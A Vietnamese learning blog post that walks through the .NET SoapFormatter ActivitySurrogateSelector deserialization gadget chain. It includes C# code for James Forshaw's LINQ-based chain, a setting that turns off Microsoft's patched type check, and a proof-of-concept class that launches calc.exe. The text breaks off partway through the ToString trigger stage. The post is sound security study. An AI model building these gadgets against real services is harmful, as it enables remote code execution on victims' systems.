This page looks best with JavaScript enabled

[.NET deserialize] SoapFormatter:ActivitySurrogateSelector

 ·  ☕ 33 min read  ·  🐉 Edisc

[.NET 101] SoapFormatter:ActivitySurrogateSelector


Sau gần một tháng học về JavaDeserialize: học các khái niệm basic, reproduce các commonscollection thì lần này tôi có cơ hội tiếp xúc với .Net deserialize. Nội dung cho newbie là học các kiến thức basic và reproduce các chain kinh điển của .Net deserialize trên 先知社区 (aliyun.com)

Khởi đầu khá thuận lợi với các bài:

Nhìn chung là vì có kiến thức cơ bản từ PHP deserialize và Java deserialize nên ở mức độ 101 này không quá khó với tôi.

Nhưng đời không như mơ, đến với SoapFormatter:ActivitySurrogateSelector tôi đọc và làm trong 3 ngày và vẫn không hiểu được gì 😥😥😥😥. Do đó, tôi quyết định viết lại từng bước, từng câu hỏi và tự tìm hiểu, trả lời. Đây là một trong những phương pháp học của tôi: Ghi ra những điều mình không hiểu và tìm cách giải quyết từng bước một.

Vì là một con gà mới tiếp xúc với .Net deserialize chưa tới 2 tuần, nên nội dung bài blog này khá dài và những kiến thức cơ bản khá nhiều (không giành cho các profesional).

Note:
Để hiểu được chain exploit này, ta cần có một số kiến thức cơ bản nhất định mà tôi sẽ trình bày ở phần I,II,III, IV.

I SoapFormatter

  • SoapFormatter tương tự với XmlSerializer, được dùng để tạo xml-based soap data streams.
  • Namespace nằm ở: System.Runtime.Serialization.Formatters.Soap
  • Assembly ở: System.Runtime.Serialization.Formatters.Soap.dll
  • SoapFormatter có thể serialize và deserialize toàn bộ một đồ thị các object (graph of objects) hoặc các objects kết nối với nhau dưới định dạng SOAP.
  • SoapFormatter implements IRemotingFormatter, IFormatter interfaces.
  • Sự khác biệt giữa SoapFormatter và BinaryFormatter là SoapFormatter không thể serialize một generic type trong khi BinaryFormatter không cần chỉ rõ type của serialized object trong quá trình deserialize.
  • Trong bài này tôi sử dụng Visual Studio 2019, lí do vì phiên bản này hỗ trợ 1 extension GoToDnSpy.

II .NET Objects và SOAP Streams

  • Chúng ta bắt đầu với đoạn code sau:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SoapDeserialization
{
    [Serializable]
    class Person
    {
        private int age;
        private string name;

        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            Person person = new Person();
            person.Age = 18;
            person.Name = "Edisc";
            using (MemoryStream stream = new MemoryStream())
            {
                // serialize
                soapFormatter.Serialize(stream, person);

                string soap = Encoding.UTF8.GetString(stream.ToArray());
                Console.WriteLine(soap);
                Console.WriteLine("========================================");

                // deserialize
                stream.Position = 0;
                Person p = (Person)soapFormatter.Deserialize(stream);
                Console.WriteLine(p.Name);
                Console.WriteLine(p.Age);
                p.SayHello();
            }

            Console.ReadKey();
        }
    }
}
  • Khi mới chạy khả năng sẽ bị thiếu thư viện System.Runtime.Serialization.Formatters.Soap.dll nên chương trình không thể thực thi

Untitled

  • Để fix lỗi này, chúng ta cần tìm đến địa chỉ lưu trữ System.Runtime.Serialization.Formatters.Soap.dll rồi import thư viện này vào references.

Một tip ở đây là tìm các dll bằng cách search trên ổ C, sau đó import reference tại địa chỉ đó. Còn cách import thì tôi đã nói trong bài trước.

Untitled

Untitled

Untitled

  • Output như sau:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <SOAP-ENV:Body>
    <a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/ActivitySurrogateSelectorChain%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull">
    <age>18</age>
    <name id="ref-3">Edisc</name>
    </a1:Person>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    
    ========================================
    Edisc
    18
    hello from SayHello
    
  • SOAP (Simple Object Access Protocol) là một giao thức truyền thông được sử dụng để trao đổi thông tin giữa các ứng dụng qua mạng. Trong SOAP, namespace (không gian tên) được sử dụng để giới hạn phạm vi của các phần tử trong tin nhắn SOAP.

  • SOAP sử dụng không gian tên (namespace) theo chuẩn xmlns để giới hạn phạm vi namespace, và điều này được phản ánh trong thẻ a1.

    Trong output trên, ta thấy rằng các phần tử trong SOAP-ENV:Envelope được liên kết với các namespace thông qua các thuộc tính xmlns. Ví dụ:

    • Phần tử <SOAP-ENV:Envelope> được liên kết với namespace "http://schemas.xmlsoap.org/soap/envelope/" thông qua thuộc tính xmlns:SOAP-ENV.
    • Phần tử <a1:Person> được liên kết với namespace "http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/SoapDeserialization%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull" thông qua thuộc tính xmlns:a1.

    Như vậy, việc sử dụng không gian tên XML (namespace) giúp hạn chế phạm vi của các phần tử trong tin nhắn SOAP và thông tin về namespace này được phản ánh trong thẻ a1.

    Điều này quan trọng vì nếu không có việc giới hạn namespace, các phần tử có thể xảy ra xung đột hoặc không rõ ràng trong việc xác định phạm vi và ý nghĩa của chúng. Nhờ vào việc sử dụng không gian tên, ta có thể định rõ và xác định các phần tử trong tin nhắn SOAP theo các namespace cụ thể.

  • Ngoài ra, SoapFormatter còn implement 2 interfaces: IRemotingFormatter, IFormatter. IFormatter

    Untitled

  • IFormatter còn có một proxy selector

    proxy selector là gì?

    Trong quá trình deserialize (chuyển đổi từ dữ liệu đã được serialize thành đối tượng) của .NET, “proxy selector” (bộ chọn proxy) là một khái niệm được sử dụng để xác định cách thức chọn loại đối tượng đích để thực hiện quá trình deserialize.

    Khi ta thực hiện quá trình deserialize, .NET cần biết cách chọn và xây dựng đúng loại đối tượng mà dữ liệu serialized sẽ được chuyển đổi thành. Đó là lúc “proxy selector” (bộ chọn proxy) đến. Proxy selector định nghĩa cách thức chọn đúng loại đối tượng tương ứng với dữ liệu đã được serialize.

    Proxy selector có thể được sử dụng để tùy chỉnh quá trình deserialize bằng cách xác định bộ chọn proxy tùy chỉnh. Bộ chọn proxy tùy chỉnh này sẽ quyết định loại đối tượng cần được xây dựng và sử dụng trong quá trình deserialize dựa trên dữ liệu serialized và các quy tắc xác định sẵn.

    Proxy selector giúp .NET xác định loại đối tượng cụ thể để khôi phục dữ liệu serialized thành đối tượng thích hợp. Nó đóng vai trò quan trọng trong việc đảm bảo quá trình deserialize diễn ra đúng cách và dữ liệu được chuyển đổi thành đối tượng đúng.

    Untitled

    Để xem được code như trên, ta dùng dnSpy 64bit

    TIP: Chúng ta có thể dùng extension GoToDnSpy (dùng cho VS2019 trở đi) thì quá trình trace code sẽ đơn giản hơn nhiều

  • Hãy sửa đổi đoạn code ban đầu của chúng ta một chút :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    
    using System;
    using System.IO;
    using System.Runtime.Serialization;
    using System.Runtime.Serialization.Formatters.Soap;
    using System.Text;
    
    namespace SoapDeserialization
    {
        [Serializable]
        class Person
        {
            private int age;
            private string name;
    
            public int Age { get => age; set => age = value; }
            public string Name { get => name; set => name = value; }
            public void SayHello()
            {
                Console.WriteLine("hello from SayHello");
            }
        }
    
        //===================================begin new code ===================================
        sealed class PersonSerializeSurrogate : ISerializationSurrogate
        {
            public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
            {
                var p = (Person)obj;
                info.AddValue("Name", p.Name);
            }
    
            public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
            {
                var p = (Person)obj;
                p.Name = info.GetString("Name");
                return p;
    
            }
        }
        //===================================end new code ===================================
        class Program
        {
            static void Main(string[] args)
            {
                SoapFormatter soapFormatter = new SoapFormatter();
    
                //=================================== begin new code ===================================
                var ss = new SurrogateSelector();
                ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
                soapFormatter.SurrogateSelector = ss;
                //===================================end new code ===================================
    
                Person person = new Person();
                person.Age = 18;
                person.Name = "Edisc";
                using (MemoryStream stream = new MemoryStream())
                {
                    // serialize
                    soapFormatter.Serialize(stream, person);
    
                    string soap = Encoding.UTF8.GetString(stream.ToArray());
                    Console.WriteLine(soap);
                    Console.WriteLine("========================================");
    
                    // deserialize
                    stream.Position = 0;
                    Person p = (Person)soapFormatter.Deserialize(stream);
                    Console.WriteLine(p.Name);
                    Console.WriteLine(p.Age);
                    p.SayHello();
                }
    
                Console.ReadKey();
            }
        }
    }
    
    • Kết quả chương trình sau khi chạy:

    Untitled

    Surrogate là gì?

    Trong C#, Surrogate (đại diện) là một khái niệm liên quan đến quá trình tuần tự hóa (serialization) và phục hồi (deserialization) đối tượng.

    Khi một đối tượng được tuần tự hóa hoặc phục hồi, Surrogate được sử dụng để đại diện cho đối tượng gốc và điều khiển quá trình tuần tự hóa và phục hồi. Nó cung cấp một cách để tùy chỉnh hoặc thay đổi cách mà một đối tượng được tuần tự hóa hoặc phục hồi.

    Surrogate thường được sử dụng trong các trường hợp như:

    1. Tuần tự hóa các đối tượng không tuân theo giao diện ISerializable.
    2. Đối tượng có dữ liệu nhạy cảm mà bạn muốn che giấu hoặc không tuần tự hóa.
    3. Đối tượng có kiểu không tuân theo quy tắc tuần tự hóa mặc định của .NET Framework.

    Để sử dụng Surrogate, bạn cần triển khai một lớp SurrogateSelector và ghi đè phương thức GetSurrogate của nó. Phương thức GetSurrogate cho phép bạn xác định Surrogate cụ thể để sử dụng cho một kiểu đối tượng nhất định.

    Surrogate giúp bạn kiểm soát quá trình tuần tự hóa và phục hồi, cho phép tùy chỉnh và điều chỉnh quá trình này để đáp ứng nhu cầu cụ thể của ứng dụng của bạn.

  • Khi proxy selector cho class Person được thiết lập cho SoapFormatter, method GetObjectDataSetObjectData trong class PersonSerializeSurrogate sẽ được thực thi trong quá trình serialization và deserialization. (Đây là kiến thức cơ bản, bạn có thể xem chi tiết tại đây)

  • Do đó, chúng ta thấy, kết quả của p.Age được in ra là 0 thay vì 18 như trước đó. Lý do là vì chúng ta đã control quá trình serialize và deserialize của object p. Trong class PersonSerializeSurrogate, chỉ có field name được serialize và deserialize nên kết quả vẫn là Edisc. Còn giá trị của age là 0 vì đó là giá trị mặc định khi không được deserialize.

    Untitled

  • Một tính năng của proxy selector cần lưu ý ở đây là: proxy selector có thể được dùng để serialization và deserialization bất kì class nào kể cả những class không đánh dấu serialized [Serializable]

Quay lại ví dụ ban đầu, khi chúng ta sử dụng proxy selector, class Person implements the serialization interface (notation: [Serializable])

Nếu ta xóa đi notation: [Serializable]. Chương trình vẫn chạy, đây là một tính năng của việc chọn proxy.

Untitled

  • Trong quá trình deserialize, luôn có 1 quá trình xem xét liệu class có thể seralize hay không? Điều này dẫn tới một vấn đề: Một class được serialize nhưng khi deserialize nó không thể deserialize proxy selector được implement bởi chúng ta.

Để hiểu rõ hơn, hãy sửa đổi một chút đoạn code ví dụ ban đầu như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SoapDeserialization
{
    //[Serializable]
    class Person
    {
        private int age;
        private string name;

        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {
        public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;

        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            soapFormatter.SurrogateSelector = ss;

            Person person = new Person();
            person.Age = 18;
            person.Name = "Edisc";
            MemoryStream stream = new MemoryStream();
            
            // serialize
            soapFormatter.Serialize(stream, person);

            string soap = Encoding.UTF8.GetString(stream.ToArray());
            Console.WriteLine(soap);
            Console.WriteLine("========================================");

            // deserialize
            stream.Position = 0;

            //Person p = (Person)soapFormatter.Deserialize(stream);

            //=================================== begin new code ===================================
            var fmt2 = new SoapFormatter();
            Person p = (Person)fmt2.Deserialize(stream);
            //=================================== end new code ===================================

            Console.WriteLine(p.Name);
            Console.WriteLine(p.Age);
            p.SayHello();
            

            Console.ReadKey();
        }
    }
}

Kết quả khi chạy chương trình:

Untitled

Ở đoạn code cũ, chúng ta dùng câu lệnh (dòng 64)

1
Person p = (Person)soapFormatter.Deserialize(stream);

Câu lệnh này sẽ sử dụng method SetObjectData() được định nghĩa trong class PersonSerializeSurrogate của chúng ta. Còn với đoạn code mới, object fmt2 sử dụng native deserialzation do đó, có lỗi xảy ra.

Lý do là khi parsing object trong deserializaed soap data, nó sẽ gọi method CheckSerializable đầu tiên để xác định xem liệu Object muốn parse có thể serializable không.

Untitled

Class Person trong đoạn mã không thể serialized do không implement interface ISerializable hoặc không có các thuộc tính được đánh dấu [Serializable]. Khi một object được serialize, nó cần đáp ứng một số yêu cầu để đảm bảo quá trình serialize và deserialize object được thực hiện thành công.

Trong trường hợp này, class Person không implemnet ISerializable và không có thuộc tính [Serializable] . Do đó, object Person sẽ cố gắng serialize bằng cách sử dụng SoapFormatter, quá trình này không thành công và gây ra lỗi.

Để giải quyết vấn đề này, ta cần sử dụng class ActivitySurrogateSelector.

III ActivitySurrogateSelector

Trong phần trước chúng ta đã biết có tồn tại một vấn đề: Một class được serialize nhưng khi deserialize nó không thể deserialize proxy selector được implement bởi chúng ta. Khi thực thi nó sẽ văng ra lỗi.

Và cuối phần II, tôi đã đề cập vấn đề này có thể giải quyết bằng ActivitySurrogateSelector

Trong phần này tôi sẽ tiến hành debug để hiểu rõ tại sao ActivitySurrogateSelector có thể giải quyết được.

1. [background] ISerializationSurrogate and SurrogateSelector

  • Với serialization và deserialization trong C#, chúng ta sẽ thấy có lúc dùng SurrogateSelector, có lúc thì implement ISerializationSurrogate. Vậy sự khác biệt giữa đúng là gì?

  • Với ISerializationSurrogate, hãy quay lại ví dụ ở phần trước:

    Untitled

    Untitled

    • Dễ thấy, class PersonSerializeSurrogate của chúng ta implemnet lại interface ISerializationSurrogate. Hãy debug với DnSpy64:
      • Đầu tiên, chúng ta chạy code để build ra file .exe

        Untitled

      • Load file .exe và các thư viện liên quan vào dnspy64

        Untitled

      • Đặt breakpoint và nhấn F5, tại ô Executable, trỏ đến file .exe mà chúng ta muốn thực thi

        Untitled

      • Thế là debug thôi:

        Untitled

        • Èo, DnSpy bảo là nên dùng bản 32bit để chạy. Vậy thì đổi thôi

        Untitled

        • Ngon lành!! Vậy debug thôi
    • Đặt breakpoint tại soapFormatter.Serialize(stream, person)

    Untitled

    • Trace, ta sẽ thấy System.Runtime.Serialization.Formatters.Soap.WriteObjectInfo.InitSerialize() được gọi

    Untitled

    • Đến dòng 79:

    Untitled

    Ta thấy field m_surrogates của SurrogateSelector có một element là SoapDeserialization.PersonSerializeSurrogate. Đây là class mà chúng ta implement!!!

  • Với SurrogateSelector proxy selector,hãy chỉnh sửa ví dụ trước đó một tí:

    Untitled

    Trong ví dụ, dễ thấy đang có lỗi xảy ra ở dòng 59. Lý do là thiếu lib. Để fix lỗi này ta chỉ cần thêm thư viện System.Configuration

    • Tương tự với ở trên, ta cũng debug

    Untitled

    • Nhìn vào đây, ta thấy SurrogateSelector chứa ISerializationSurrogate và tất cả các object của ISerializationSurrogate đều là member của field m_surrogates của SurrogateSelector.

    Untitled

    Vậy điều này có nghĩa gì?

    Khi chúng ta sử dụng surrogateSelector.GetSurrogate, chúng ta implement GetSurrogate method trong SurrogateSelector object. Method GetSurrogate này có thể bị overwrite.

    https://media.makeameme.org/created/so-important-much.jpg

2. ActivitySurrogateSelector

  • Bây giờ, hãy quay lại đoạn code ở phần SurrogateSelector

    Untitled

    Ta thấy fmt2 không sử dụng proxy selector nhưng nó lại có thể deserialize mà không bị lỗi

    Untitled

    Tại sao vậy nhỉ???

  • Cùng debug để hiểu rõ nguyên lý của ActivitySurrogateSelector. Tiếp tục với phần trước đó, ta có surrogateSelector chứa MySurrogateSelector

Untitled

  • Đặt breakpoint tại MySurrogateSelector và tiếp tục, sẽ thấy surrogateSelector.GetSurrogate() ở dòng 79 sẽ gọi MySurrogateSelector.GetSurrogate()

Untitled

  • Vì class Person không chỉ rõ được thuộc tính [Serializable] nên biến flag ở dòng 13 sẽ có giá trị true (vì type.IsSerializable=false). Do đó, nó sẽ vào dòng lệnh 17. Câu lệnh này sẽ trả về 1 instance của Object ObjectSurrogate

Untitled

  • Quay lại dòng lệnh 79 của InitSerialize(). Vì surrogateSelector và this.serializationSurrogate khác null, nên chương trình sẽ vào điều kiện rẽ nhánh 1

Untitled

  • Tiếp tục chương trình, ta thấy dòng lệnh 84 được thực thi

Untitled

  • F11 để đi vào hàm bên trong, ta sẽ thấy nó đi vào hàm ObjectSurrogate.GetObjectData()

Untitled

  • Tiếp tục đến dòng 155, info set type ActivitySurrogateSelector.ObjectSurrogate.ObjectSerializedRef

Untitled

Mặt khác, ta thấy ObjectSerializedRef là một class có thể serialize được.

Untitled

Tiếp tục chương trình, ta thấy [this.si](http://this.si) sẽ có ObjectType là **ObjectSerializedRef - một class có thể Serialize được.**

Untitled

Dòng lệnh 86 và tiếp sau đó sẽ làm cho objectWriter trở thành 1 object có thể serialize

Untitled

  • Tiếp tục chương trình

Untitled

Đến đây, giá trị stm đã là một serialized object. Do đó, chương trình sẽ tiếp tục mà không bị lỗi

Untitled

NOTE:

Trong đoạn code có sử dụng câu lệnh:

1
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

Mục đích câu lệnh này là bypass hạn chế khi test trên các framework có version cao với vì Microsoft đã bản pacth từ phiên bản 4.8 trở đi.

Yeah, vậy là chúng ta đã hiểu tại sao ActivitySurrogateSelector thì không bị lỗi: bởi vì khi tới hàm Deserialize() thì stm đã được chuyển thành dạng serialize rồi.

IV LINQ Knowledge

Để hiểu được ActivitySurrogateSelector attack chain, ta cần biết 1 ít về Linq.

Theo định nghĩa sách giáo khoa thì:

The official definition of Linq is Language Integrated Query (LINQ) is a series of technologies that directly integrate query functions into the C## language. It can be considered that Linq uses Lambda expressions to complete functions similar to SQL syntax.

Để hiểu rõ, ta đi qua ví dụ sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static void Main(string[] args)
{
    var word = "hello from linq.";
    var words = word.Split(' ');
    var q1 = from s in words
        where s.ToLower().Contains('o')
        select s;
    Console.WriteLine(q1);
    foreach (var item in q1)
    {
        Console.WriteLine(item);
    }
    Console.ReadKey();
}
  • khi chạy, output sẽ là

Untitled

và binary sau khi load vào dnspy sẽ được decompile như sau

Untitled

Trong đoạn code trên, câu lệnh:

1
2
3
    var q1 = from s in words
        where s.ToLower().Contains('o')
        select s;

Tôi tinh gọn nó như sau:

1
words.Where(s => s.ToLower().Contains('o')).Select(s=>s)

Format để gọi như trên được định nghĩa như sau:

Untitled

Để vào được định nghĩa như trên, tôi dùng extension GoToDnSpy. Khi ấn ctrl + click vào từ khóa where (Từ khóa Where trong C## là một phương thức được sử dụng trong thư viện LINQ), extension nafy sẽ dùng dnspy decompile code trong thư viện System.Linq (thư viện này hỗ trợ chạy LINQ) và show lên cho chúng ta

nên khi decompile bằng DnSpy. Câu lệnh tương đương với dnspy là

1
IEnumerable<string> q = Enumerable.Where<string>(words, (string s) => Enumerable.Contains<char>(s.ToLower(), 'o'));
  • Hãy phân tích một cấu trúc khai báo như sau:
1
public static IEnumerable<TSource> Where<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate)

Đây là định nghĩa phương thức, cho biết tên của phương thức (Where), cách truy cập vào phương thức (public) và các tham số mà nó mong đợi:

  • public static: Điều này cho biết phương thức có thể được truy cập từ bất kỳ đâu trong chương trình và không cần một đối tượng của lớp để gọi phương thức này.
  • IEnumerable<TSource>: Đây là kiểu dữ liệu trả về của phương thức. Nó cho biết phương thức sẽ trả về một chuỗi các phần tử kiểu TSource.
  • Where<TSource>: Đây là một phương thức generic, được chỉ định bởi <TSource>, có nghĩa là nó có thể hoạt động với bất kỳ kiểu nào được chỉ định bởi người gọi.
  • this IEnumerable<TSource> source: Đây là tham số đầu tiên có tên là source, đại diện cho bộ sưu tập đầu vào mà phép Where sẽ được thực hiện. Trong ví dụ, source đề cập đến một bộ sưu tập các phần tử, chẳng hạn như một danh sách hoặc một mảng.
  • Func<TSource, bool> predicate: Đây là tham số thứ hai có tên là predicate. Đây là một delegate có kiểu Func<TSource, bool>, được sử dụng để xử lý bộ sưu tập và trả về bộ sưu tập kết quả sau khi xử lý.

Delegate là gì?

Trong ngôn ngữ lập trình C#, delegate là một kiểu dữ liệu đặc biệt, cho phép chúng ta tạo ra các tham chiếu đến phương thức. Nó giống như một con trỏ hàm trong các ngôn ngữ khác. Delegate có thể được sử dụng để tạo ra các biểu thức hàm (function expressions) và truyền chúng như các tham số cho các phương thức khác.

Quay lại với ví dụ của chúng ta:

1
words.Where(s => s.ToLower().Contains('o')).Select(s=>s)
  • Where()Select() là hai phương thức được sử dụng trong LINQ.
  • Where() thực hiện việc lọc các phần tử trong bộ sưu tập dựa trên một điều kiện được xác định bởi một biểu thức lambda. Trong ví dụ này, biểu thức lambda là s => s.ToLower().Contains('o'), nghĩa là chỉ giữ lại các phần tử trong bộ sưu tập mà chứa ký tự ‘o’.
  • Sau khi Where() hoàn thành, kết quả là một collection chứa các phần tử đã được lọc.
  • Tiếp theo, Select() thực hiện việc chuyển đổi các phần tử trong collection thành một định dạng khác dựa trên một biểu thức lambda khác. Trong ví dụ này, biểu thức lambda là s => s, nghĩa là giữ nguyên các phần tử trong bộ sưu tập.
  • Khi hoàn thành Select(), chúng ta có collection cuối cùng, chứa các phần tử đã được lọc và chuyển đổi.

Vì vậy, hai quá trình ủy quyền (Where()Select()) hoạt động lần lượt trên input collectiono, xử lý và truyền các phần tử qua lại giữa các phương thức cho đến khi chúng được lọc và chuyển đổi thành output collection.

  • Một điều lưu ý ở đây LINQ là kiểu delayed execution
1
2
3
    var q1 = from s in words
        where s.ToLower().Contains('o')
        select s;

Trong ví dụ trên, q1 là một biến dùng để lưu trữ truy vấn LINQ.

  • Tuy nhiên, việc khai báo q1 chỉ tạo ra một thể hiện của truy vấn, không thực hiện việc xử lý trực tiếp.
  • Thực tế, việc thực hiện xử lý và trả về kết quả sẽ xảy ra khi chúng ta thực hiện việc chọn (select) trên q1.
  • Khi chúng ta thực hiện việc chọn (select) trên q1, truy vấn LINQ sẽ được thực thi và kết quả sẽ được trả về.

Điều này có nghĩa là LINQ thực hiện trì hoãn (delayed execution), tức là việc xử lý truy vấn không xảy ra ngay lập tức khi truy vấn được khai báo, mà sẽ diễn ra chỉ khi kết quả cần được truy xuất (ví dụ: khi chúng ta thực hiện việc chọn - select). Điều này giúp tối ưu hiệu suất của ứng dụng và giảm thiểu việc thực hiện không cần thiết của các truy vấn LINQ. Nghe thì có vẻ khó hiểu, ta hãy nhìn vào bức ảnh này (tôi sưu tầm trên internet)

Untitled

Đây là tính chất quan trọng mà chúng ta sẽ dùng cho ActivitySurrogateSelector attack chain.

V Attack chain

Trong ysoserial.net, SoapFormatter có nhiều chains. Trong blog này, tôi sẽ trình bày chain: ActivitySurrogateSelector

Yeah, tới đây chúng ta đã biết thêm:

  1. ActivitySurrogateSelector để select 1 proxy, hỗ trợ deserialize 1 class bất kì (không cần tag [Serializable])
  2. Ngôn ngữ LINQ là có một tính chất delayed execution

Vậy những thứ này giúp ích điều gì?

  • Một chút về Java deserialize:

    Ứng dụng RMI trong Java sẽ thực thi Runtime.exec() trong constructor, và thực hiện malicious code sau khi load class

  • Tương tự trong C#:

    Nếu chúng ta có thể load một assembly riêng lên, thì việc kích hoạt constructor() khi tạo một instance mới cũng sẽ thực thi malicious code.

    Nếu chúng ta thay thế delegate trong LINQ, load assembly và tạo một instance bằng cách thay thế delegate, thì malicous code sẽ được thực thi sau khi kích hoạt LINQ.

  • Từ ý tưởng này, Researcher James Forshaw đã thiết kế một chain deserialize như sau

    Untitled

1. IEnumerable to LINQ exploit chaining

  • Chain của James Forshaw như sau:

    1
    2
    3
    
    byte[] -> Assembly.Load(byte[]) -> Assembly
    Assembly -> Assembly.GetType() -> Type[]
    Type[] -> Activator.CreateInstance(Type[]) -> object[]
    
  • Chain trên sử dụng LINQ delegate để gọi các process từ interface IEnumerable

    1
    
    public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);
    
  • Đầu tiên: byte[] -> Assembly.Load(byte[]) -> Assembly được implement bởi đoạn code sau, trong đó e1 là một Asembly object.

    1
    2
    3
    
    List<byte[]> data = new List<byte[]>();
    data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
    var e1 = data.Select(Assembly.Load);
    
  • Bước 2: Assembly -> Assembly.GetType() -> Type[] được implement thông qua đoạn code sau, trong đó, object e2 có type là IEnumerable

    1
    2
    
    Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly,IEnumerable<Type>>),typeof(Assembly).GetMethod("GetTypes"));
    var e2 = e1.SelectMany(map_type); 
    
  • Bước 3: Type[] -> Activator.CreateInstance(Type[]) -> object[] được hiện hiện thực như sau, trong đó e3 có type là IEnumerable

    1
    
    var e3 = e2.Select(Activator.CreateInstance);
    
  • Do đó, chain của James Forshaw được hiện thực bởi đoạn code như sau:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    using System.Reflection;
    
    namespace LinqBasic
    {
    
        internal class Program
        {
    
            public static void Main(string[] args)
            {
                // step 1
                List<byte[]> data = new List<byte[]>();
                data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
                var e1 = data.Select(Assembly.Load);
    
                // step2
                Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
                var e2 = e1.SelectMany(map_type);
    
                // step3
                var e3 = e2.Select(Activator.CreateInstance);
    
            }
        }
    }
    
  • Ngoài ra, ExploitClass tại dòng 17 sẽ được implemnt đơn giản như sau

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
using System;

namespace LinqBasic
{
    internal class ExploitClass
    {
        public ExploitClass()
        {
            try
            {
                // Payload code to be executed
                System.Diagnostics.Process.Start("calc.exe");
            }
            catch (Exception)
            {
            }
        }
    }
}
  • Perfect, chạy thôi!!!!

    Untitled

    • Ủa alo!!!! Calculator đâu??

    Untitled

Sau một hồi suy nghĩ tôi chợt nhớ!

LINQ có tính chất delay execution!

Nghĩa là khi nào được sử dụng nó mới thực thi. Có khi ở bước này, LINQ chưa được sử dụng. Tạm thời cho là vậy và đi tiếp thôi

2. Fom ToString to IEnumerable

  • Nếu các bạn đã đi qua PHP-deserialize thì __tostring() là một trong những magic method thông dụng (sau __wakeup(), __destruct()) được dùng để khai thác lỗ hổng php deserialize. Với chain này trong .Net, James Forshaw cũng lấy ý tưởng như vậy:

    1. Tìm cách trigger ToString() khi deserialize
    2. Tìm chain từ ToString() gọi đến IEnumerable
  • Cùng xem xét đoạn code sau:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    // PagedDataSource maps an arbitrary IEnumerable to an ICollection
    PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
    
    // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
    // Class is internal so need to use reflection.
    IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
    
    // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
